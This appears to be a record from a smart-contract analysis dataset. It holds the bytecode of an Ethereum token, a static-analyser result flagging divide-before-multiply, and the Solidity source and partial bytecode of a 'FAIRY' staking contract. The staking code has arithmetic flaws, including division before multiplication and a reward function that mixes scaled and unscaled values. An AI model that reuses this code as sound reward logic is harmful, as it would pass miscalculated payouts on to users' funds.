ffffffff1660e01b81526004018082815260200191505060206040518083038186803b15801561365c57600080fd5b505afa158015613670573d6000803e3d6000fd5b505050506040513d602081101561368657600080fd5b810190808051906020019092919050505073ffffffffffffffffffffffffffffffffffffffff1614613720576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601d8152602001807f596f75206172656e2774206f776e2074686973204e465420746f6b656e00000081525060200191505060405180910390fd5b61373c83828151811061372f57fe5b6020026020010151611e10565b82019150600061375e84838151811061375157fe5b6020026020010151611e10565b111561379057426003600085848151811061377557fe5b60200260200101518152602001908152602001600020819055505b80806001019150506135b6565b5060008111613814576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601c8152602001807f5468657265206973206e6f20636c61696d61626c65207265776172640000000081525060200191505060405180910390fd5b61381e3382615232565b5050565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16806138cc575060016000613883614461565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b156138e8576138e36138dc614461565b8484614660565b6138fb565b6138fa6138f3614461565b8484614b3f565b5b6001905092915050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146139ab576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602181526020018061584e6021913960400191505060405180910390fd5b60018060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b6000600b54905090565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614613ab5576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602181526020018061584e6021913960400191505060405180910390fd5b8060078190555050565b601260009054906101000a900460ff1681565b600660009054906101000a900460ff1681565b6000601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16636352211e836040518263ffffffff1660e01b81526004018082815260200191505060206040518083038186803b158015613b5a57600080fd5b505afa158015613b6e573d6000803e3d6000fd5b505050506040513d6020811015613b8457600080fd5b81019080805190602001909291905050509050919050565b60105481565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614613c6e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602181526020018061584e6021913960400191505060405180910390fd5b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600d60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506000600c60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550804201600b81905550600073ffffffffffffffffffffffffffffffffffffffff16600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a350565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614613ec9576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602181526020018061584e6021913960400191505060405180910390fd5b6105dc8110613f40576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260188152602001807f204665652063616e27742065786365656420746f20313525000000000000000081525060200191505060405180910390fd5b8060108190555050565b601a602052806000526040600020600091509050806000015490806001018054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015613ffc5780601f10613fd157610100808354040283529160200191613ffc565b820191906000526020600020905b815481529060010190602001808311613fdf57829003601f168201915b5050505050908060020154908060030154908060040160009054906101000a900460ff16905085565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146140cb576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602181526020018061584e6021913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415614151576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260268152602001806156596026913960400191505060405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff16600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a380600c60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60075481565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146142bd576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602181526020018061584e6021913960400191505060405180910390fd5b80600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146143a7576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602181526020018061584e6021913960400191505060405180910390fd5b601260009054906101000a900460ff1615601260006101000a81548160ff021916908315150217905550565b60115481565b600080828401905083811015614457576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156144ef576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260248152602001806157dc6024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415614575576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602281526020018061567f6022913960400191505060405180910390fd5b80600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156146e6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260258152602001806157b76025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561476c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260238152602001806156146023913960400191505060405180910390fd5b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156148185750600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561487957601554811115614878576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602881526020018061571d6028913960400191505060405180910390fd5b5b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16148015614900575060006148fe600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16612b0c565b115b80156149185750601260009054906101000a900460ff165b15614995576013548110614994576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601f8152602001807f43616e6e6f742073656c6c206d6f7265207468616e2073656c6c4c696d69740081525060200191505060405180910390fd5b5b614a00816040518060600160405280602681526020016156cd602691396000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546150a29092919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550614a93816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546143d990919063ffffffff16565b6000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415614bc5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260258152602001806157b76025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415614c4b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260238152602001806156146023913960400191505060405180910390fd5b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015614cf75750600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15614d5857601554811115614d57576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602881526020018061571d6028913960400191505060405180910390fd5b5b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16148015614ddf57506000614ddd600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16612b0c565b115b8015614df75750601260009054906101000a900460ff165b15614e74576013548110614e73576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601f8152602001807f43616e6e6f742073656c6c206d6f7265207468616e2073656c6c4c696d69740081525060200191505060405180910390fd5b5b60008060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905081811015614f10576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260268152602001806156cd6026913960400191505060405180910390fd5b8181036000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506000614f72614f6384615448565b846153fe90919063ffffffff16565b9050806000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282540192505081905550614fc98361547e565b600080600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055508373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a35050505050565b600083831115829061514f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b838110156151145780820151818401526020810190506150f9565b50505050905090810190601f1680156151415780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b60006151a483836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506154b0565b905092915050565b6000808314156151bf576000905061522c565b60008284029050828482816151d057fe5b0414615227576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602181526020018061576e6021913960400191505060405180910390fd5b809150505b92915050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156152d5576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601f8152602001807f45524332303a206d696e7420746f20746865207a65726f20616464726573730081525060200191505060405180910390fd5b6152e1600083836153f9565b6152f6816004546143d990919063ffffffff16565b60048190555061534d816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546143d990919063ffffffff16565b6000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a35050565b505050565b600061544083836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506150a2565b905092915050565b600061547761271061546960115460105401856151ac90919063ffffffff16565b61516290919063ffffffff16565b9050919050565b60006154a961271061549b601054856151ac90919063ffffffff16565b61516290919063ffffffff16565b9050919050565b6000808311829061555c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015615521578082015181840152602081019050615506565b50505050905090810190601f16801561554e5780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b50600083858161556857fe5b049050809150509392505050565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f106155b757805160ff19168380011785556155e5565b828001600101855582156155e5579182015b828111156155e45782518255916020019190600101906155c9565b5b5090506155f291906155f6565b5090565b5b8082111561560f5760008160009055506001016155f7565b509056fe45524332303a207472616e7366657220746f20746865207a65726f206164647265737345524332303a206275726e20616d6f756e7420657863656564732062616c616e63654f776e61626c653a206e6577206f776e657220697320746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f20616464726573734164647265737320616e6420416d6f756e74206172726179206c656e677468206d7573742062652073616d6545524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e6365596f752061726520616c726561647920696e726f6c6c656420696e2074686973206368616c6c656e67655472616e7366657220616d6f756e74206578636565647320746865206d61785478416d6f756e742e596f75206f776e206c65737320616d6f756e74206f6620524f4f54207468616e207265717569726564536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f7745524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f2061646472657373596f75206f776e206c65737320616d6f756e74206f66204265617258207468616e20726565717569726564596f7520646f6e27742068617665207065726d697373696f6e20746f20756e6c6f636b4f6e6c79204f776e65722043616e2043616c6c20546869732046756e6374696f6e45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa2646970667358221220ddee0a431e984e75c8f2a731c9365d4efd6166a2d54cdd95656bc49312921c9164736f6c634300060c0033
{"success": true, "error": null, "results": {"detectors": [{"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}]}}
1,045
0x13b73ba8644fb107b58b7254540da679d0f40ea0
pragma solidity ^0.6.0; // ---------------------------------------------------------------------------- // 'FAIRY' Staking smart contract // ---------------------------------------------------------------------------- // ---------------------------------------------------------------------------- // SafeMath library // ---------------------------------------------------------------------------- /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } function ceil(uint a, uint m) internal pure returns (uint r) { return (a + m - 1) / m * m; } } // ---------------------------------------------------------------------------- // Owned contract // ---------------------------------------------------------------------------- contract Owned { address payable public owner; event OwnershipTransferred(address indexed _from, address indexed _to); constructor() public { owner = msg.sender; } modifier onlyOwner { require(msg.sender == owner); _; } function transferOwnership(address payable _newOwner) public onlyOwner { owner = _newOwner; emit OwnershipTransferred(msg.sender, _newOwner); } } // ---------------------------------------------------------------------------- // ERC Token Standard #20 Interface // ---------------------------------------------------------------------------- interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address tokenOwner) external view returns (uint256 balance); function allowance(address tokenOwner, address spender) external view returns (uint256 remaining); function transfer(address to, uint256 tokens) external returns (bool success); function approve(address spender, uint256 tokens) external returns (bool success); function transferFrom(address from, address to, uint256 tokens) external returns (bool success); function burnTokens(uint256 _amount) external; event Transfer(address indexed from, address indexed to, uint256 tokens); event Approval(address indexed tokenOwner, address indexed spender, uint256 tokens); } // ---------------------------------------------------------------------------- // ERC20 Token, with the addition of symbol, name and decimals and assisted // token transfers // ---------------------------------------------------------------------------- contract FairyStaking is Owned { using SafeMath for uint256; address public FAIRY = 0xA9E36a459a48CC3FCc68bcE72fEceb15489D89cb; uint256 public totalStakes = 0; uint256 stakingFee = 25; // 2.5% uint256 unstakingFee = 25; // 2.5% uint256 public totalDividends = 0; uint256 private scaledRemainder = 0; uint256 private scaling = uint256(10) ** 12; uint public round = 1; struct USER{ uint256 stakedTokens; uint256 lastDividends; uint256 fromTotalDividend; uint round; uint256 remainder; } mapping(address => USER) stakers; mapping (uint => uint256) public payouts; // keeps record of each payout event STAKED(address staker, uint256 tokens, uint256 stakingFee); event UNSTAKED(address staker, uint256 tokens, uint256 unstakingFee); event PAYOUT(uint256 round, uint256 tokens, address sender); event CLAIMEDREWARD(address staker, uint256 reward); // ------------------------------------------------------------------------ // Token holders can stake their tokens using this function // @param tokens number of tokens to stake // ------------------------------------------------------------------------ function STAKE(uint256 tokens) external { require(IERC20(FAIRY).transferFrom(msg.sender, address(this), tokens), "Tokens cannot be transferred from user account"); uint256 _stakingFee = 0; if(totalStakes > 0) _stakingFee= (onePercent(tokens).mul(stakingFee)).div(10); if(totalStakes > 0) // distribute the staking fee accumulated before updating the user's stake _addPayout(_stakingFee); // add pending rewards to remainder to be claimed by user later, if there is any existing stake uint256 owing = pendingReward(msg.sender); stakers[msg.sender].remainder += owing; stakers[msg.sender].stakedTokens = (tokens.sub(_stakingFee)).add(stakers[msg.sender].stakedTokens); stakers[msg.sender].lastDividends = owing; stakers[msg.sender].fromTotalDividend= totalDividends; stakers[msg.sender].round = round; totalStakes = totalStakes.add(tokens.sub(_stakingFee)); emit STAKED(msg.sender, tokens.sub(_stakingFee), _stakingFee); } // ------------------------------------------------------------------------ // Owners can send the funds to be distributed to stakers using this function // @param tokens number of tokens to distribute // ------------------------------------------------------------------------ function ADDFUNDS(uint256 tokens) external { require(IERC20(FAIRY).transferFrom(msg.sender, address(this), tokens), "Tokens cannot be transferred from funder account"); _addPayout(tokens); } // ------------------------------------------------------------------------ // Private function to register payouts // ------------------------------------------------------------------------ function _addPayout(uint256 tokens) private{ // divide the funds among the currently staked tokens // scale the deposit and add the previous remainder uint256 available = (tokens.mul(scaling)).add(scaledRemainder); uint256 dividendPerToken = available.div(totalStakes); scaledRemainder = available.mod(totalStakes); totalDividends = totalDividends.add(dividendPerToken); payouts[round] = payouts[round-1].add(dividendPerToken); emit PAYOUT(round, tokens, msg.sender); round++; } // ------------------------------------------------------------------------ // Stakers can claim their pending rewards using this function // ------------------------------------------------------------------------ function CLAIMREWARD() public { if(totalDividends > stakers[msg.sender].fromTotalDividend){ uint256 owing = pendingReward(msg.sender); owing = owing.add(stakers[msg.sender].remainder); stakers[msg.sender].remainder = 0; require(IERC20(FAIRY).transfer(msg.sender,owing), "ERROR: error in sending reward from contract"); emit CLAIMEDREWARD(msg.sender, owing); stakers[msg.sender].lastDividends = owing; // unscaled stakers[msg.sender].round = round; // update the round stakers[msg.sender].fromTotalDividend = totalDividends; // scaled } } // ------------------------------------------------------------------------ // Get the pending rewards of the staker // @param _staker the address of the staker // ------------------------------------------------------------------------ function pendingReward(address staker) private returns (uint256) { uint256 amount = ((totalDividends.sub(payouts[stakers[staker].round - 1])).mul(stakers[staker].stakedTokens)).div(scaling); stakers[staker].remainder += ((totalDividends.sub(payouts[stakers[staker].round - 1])).mul(stakers[staker].stakedTokens)) % scaling ; return amount; } function getPendingReward(address staker) public view returns(uint256 _pendingReward) { uint256 amount = ((totalDividends.sub(payouts[stakers[staker].round - 1])).mul(stakers[staker].stakedTokens)).div(scaling); amount += ((totalDividends.sub(payouts[stakers[staker].round - 1])).mul(stakers[staker].stakedTokens)) % scaling ; return (amount + stakers[staker].remainder); } // ------------------------------------------------------------------------ // Stakers can un stake the staked tokens using this function // @param tokens the number of tokens to withdraw // ------------------------------------------------------------------------ function WITHDRAW(uint256 tokens) external { require(stakers[msg.sender].stakedTokens >= tokens && tokens > 0, "Invalid token amount to withdraw"); uint256 _unstakingFee = (onePercent(tokens).mul(unstakingFee)).div(10); // add pending rewards to remainder to be claimed by user later, if there is any existing stake uint256 owing = pendingReward(msg.sender); stakers[msg.sender].remainder += owing; require(IERC20(FAIRY).transfer(msg.sender, tokens.sub(_unstakingFee)), "Error in un-staking tokens"); stakers[msg.sender].stakedTokens = stakers[msg.sender].stakedTokens.sub(tokens); stakers[msg.sender].lastDividends = owing; stakers[msg.sender].fromTotalDividend= totalDividends; stakers[msg.sender].round = round; totalStakes = totalStakes.sub(tokens); if(totalStakes > 0) // distribute the un staking fee accumulated after updating the user's stake _addPayout(_unstakingFee); emit UNSTAKED(msg.sender, tokens.sub(_unstakingFee), _unstakingFee); } // ------------------------------------------------------------------------ // Private function to calculate 1% percentage // ------------------------------------------------------------------------ function onePercent(uint256 _tokens) private pure returns (uint256){ uint256 roundValue = _tokens.ceil(100); uint onePercentofTokens = roundValue.mul(100).div(100 * 10**uint(2)); return onePercentofTokens; } // ------------------------------------------------------------------------ // Get the number of tokens staked by a staker // @param _staker the address of the staker // ------------------------------------------------------------------------ function yourStakedFAIRY(address staker) external view returns(uint256 stakedFAIRY){ return stakers[staker].stakedTokens; } // ------------------------------------------------------------------------ // Get the FAIRY balance of the token holder // @param user the address of the token holder // ------------------------------------------------------------------------ function yourFAIRYBalance(address user) external view returns(uint256 FAIRYBalance){ return IERC20(FAIRY).balanceOf(user); } }
0x608060405234801561001057600080fd5b50600436106100ea5760003560e01c806398a804c51161008c578063bf9befb111610066578063bf9befb114610317578063ca84d59114610335578063f2fde38b14610363578063ffa57d4e146103a7576100ea565b806398a804c514610281578063997664d7146102cb578063b53d6c24146102e9576100ea565b80634baf782e116100c85780634baf782e1461017d5780634df9d6ba1461018757806351fa9834146101df5780638da5cb5b14610237576100ea565b8063146ca531146100ef57806329652e861461010d5780632c75bcda1461014f575b600080fd5b6100f76103ff565b6040518082815260200191505060405180910390f35b6101396004803603602081101561012357600080fd5b8101908080359060200190929190505050610405565b6040518082815260200191505060405180910390f35b61017b6004803603602081101561016557600080fd5b810190808035906020019092919050505061041d565b005b610185610908565b005b6101c96004803603602081101561019d57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610c81565b6040518082815260200191505060405180910390f35b610221600480360360208110156101f557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610e78565b6040518082815260200191505060405180910390f35b61023f610f5b565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b610289610f80565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6102d3610fa6565b6040518082815260200191505060405180910390f35b610315600480360360208110156102ff57600080fd5b8101908080359060200190929190505050610fac565b005b61031f611125565b6040518082815260200191505060405180910390f35b6103616004803603602081101561034b57600080fd5b810190808035906020019092919050505061112b565b005b6103a56004803603602081101561037957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061158a565b005b6103e9600480360360208110156103bd57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611680565b6040518082815260200191505060405180910390f35b60085481565b600a6020528060005260406000206000915090505481565b80600960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600001541015801561046f5750600081115b6104e1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f496e76616c696420746f6b656e20616d6f756e7420746f20776974686472617781525060200191505060405180910390fd5b6000610513600a6105056004546104f7866116cc565b61172090919063ffffffff16565b6117a690919063ffffffff16565b90506000610520336117f0565b905080600960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060040160008282540192505081905550600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a9059cbb336105c485876119ee90919063ffffffff16565b6040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b15801561062d57600080fd5b505af1158015610641573d6000803e3d6000fd5b505050506040513d602081101561065757600080fd5b81019080805190602001909291905050506106da576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601a8152602001807f4572726f7220696e20756e2d7374616b696e6720746f6b656e7300000000000081525060200191505060405180910390fd5b61072f83600960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600001546119ee90919063ffffffff16565b600960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000018190555080600960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060010181905550600554600960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060020181905550600854600960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060030181905550610863836002546119ee90919063ffffffff16565b6002819055506000600254111561087e5761087d82611a38565b5b7faeb913af138cc126643912346d844a49a83761eb58fcfc9e571fc99e1b3d9fa2336108b384866119ee90919063ffffffff16565b84604051808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001838152602001828152602001935050505060405180910390a1505050565b600960003373fffffffffffffffffffffffff